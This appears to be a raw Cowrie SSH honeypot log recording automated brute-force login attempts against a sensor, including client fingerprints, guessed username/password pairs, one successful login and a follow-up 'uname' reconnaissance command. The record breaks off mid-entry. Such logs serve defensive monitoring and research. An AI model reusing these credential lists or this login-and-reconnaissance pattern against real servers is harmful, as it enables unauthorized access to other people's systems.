{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:39.177458Z","src_ip":"91.92.40.36","session":"9e5d0e7a6ba9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":49840,"dst_ip":"10.17.0.5","dst_port":22,"session":"e59b7970d8b0","protocol":"ssh","message":"New connection: 45.153.34.195:49840 (10.17.0.5:22) [session: e59b7970d8b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:39.703879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:39.709986Z","src_ip":"45.153.34.195","session":"e59b7970d8b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:39.814211Z","src_ip":"45.153.34.195","session":"e59b7970d8b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"test123","message":"login attempt [user/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:40.387141Z","src_ip":"45.153.34.195","session":"e59b7970d8b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"73.36.177.174","src_port":42414,"dst_ip":"10.17.0.5","dst_port":22,"session":"9264c9b413ff","protocol":"ssh","message":"New connection: 73.36.177.174:42414 (10.17.0.5:22) [session: 9264c9b413ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:40.890283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:40.898380Z","src_ip":"73.36.177.174","session":"9264c9b413ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:40.941347Z","src_ip":"73.36.177.174","session":"9264c9b413ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hello123","message":"login attempt [root/Hello123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:41.168701Z","src_ip":"73.36.177.174","session":"9264c9b413ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:41.469580Z","src_ip":"45.153.34.195","session":"e59b7970d8b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:42.216816Z","src_ip":"73.36.177.174","session":"9264c9b413ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":35394,"dst_ip":"10.17.0.5","dst_port":22,"session":"11a4f2c16a15","protocol":"ssh","message":"New connection: 45.153.34.195:35394 (10.17.0.5:22) [session: 11a4f2c16a15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:42.604023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:42.620638Z","src_ip":"45.153.34.195","session":"11a4f2c16a15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:42.717443Z","src_ip":"45.153.34.195","session":"11a4f2c16a15","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"password","message":"login attempt [oracle/password] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:43.171014Z","src_ip":"45.153.34.195","session":"11a4f2c16a15","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:43.378996Z","src_ip":"45.153.34.195","session":"11a4f2c16a15","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:43.382054Z","src_ip":"45.153.34.195","session":"11a4f2c16a15","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:43.466627Z","src_ip":"45.153.34.195","session":"11a4f2c16a15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:43.471111Z","src_ip":"45.153.34.195","session":"11a4f2c16a15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":54204,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9ed750d3af9","protocol":"ssh","message":"New connection: 91.92.40.36:54204 (10.17.0.5:22) [session: d9ed750d3af9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:43.605819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:44.030355Z","src_ip":"91.92.40.36","session":"d9ed750d3af9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:44.033913Z","src_ip":"91.92.40.36","session":"d9ed750d3af9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":35410,"dst_ip":"10.17.0.5","dst_port":22,"session":"cef00f8a245a","protocol":"ssh","message":"New connection: 45.153.34.195:35410 (10.17.0.5:22) [session: cef00f8a245a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:45.580869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:45.585280Z","src_ip":"45.153.34.195","session":"cef00f8a245a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:45.667298Z","src_ip":"45.153.34.195","session":"cef00f8a245a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"1234","message":"login attempt [solana/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:46.152402Z","src_ip":"45.153.34.195","session":"cef00f8a245a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc@12345","message":"login attempt [root/Abc@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:47.179116Z","src_ip":"91.92.40.36","session":"d9ed750d3af9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:47.306938Z","src_ip":"45.153.34.195","session":"cef00f8a245a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":35424,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd36b3746cb6","protocol":"ssh","message":"New connection: 45.153.34.195:35424 (10.17.0.5:22) [session: cd36b3746cb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:48.583287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:48.588465Z","src_ip":"45.153.34.195","session":"cd36b3746cb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:48.826232Z","src_ip":"45.153.34.195","session":"cd36b3746cb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:49.119008Z","src_ip":"91.92.40.36","session":"d9ed750d3af9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"12345","message":"login attempt [azureuser/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:49.137651Z","src_ip":"45.153.34.195","session":"cd36b3746cb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.136.214.177","src_port":33134,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8ba3d08fb44","protocol":"ssh","message":"New connection: 150.136.214.177:33134 (10.17.0.5:22) [session: a8ba3d08fb44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:49.261973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:49.266748Z","src_ip":"150.136.214.177","session":"a8ba3d08fb44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"671ac49b8bd65b9e8ff02a3e690f0fd3","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-512,hmac-sha2-256;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-512","hmac-sha2-256"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 671ac49b8bd65b9e8ff02a3e690f0fd3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:49.295180Z","src_ip":"150.136.214.177","session":"a8ba3d08fb44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd","message":"login attempt [root/asd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:49.432952Z","src_ip":"150.136.214.177","session":"a8ba3d08fb44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qweasdzxc","message":"login attempt [root/123qweasdzxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:49.792860Z","src_ip":"91.92.40.36","session":"9e5d0e7a6ba9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":58902,"dst_ip":"10.17.0.5","dst_port":22,"session":"1aa690bbf932","protocol":"ssh","message":"New connection: 91.92.40.36:58902 (10.17.0.5:22) [session: 1aa690bbf932]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:50.271094Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:50.381330Z","src_ip":"45.153.34.195","session":"cd36b3746cb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:50.462329Z","src_ip":"150.136.214.177","session":"a8ba3d08fb44","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:51.309329Z","src_ip":"91.92.40.36","session":"1aa690bbf932","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sh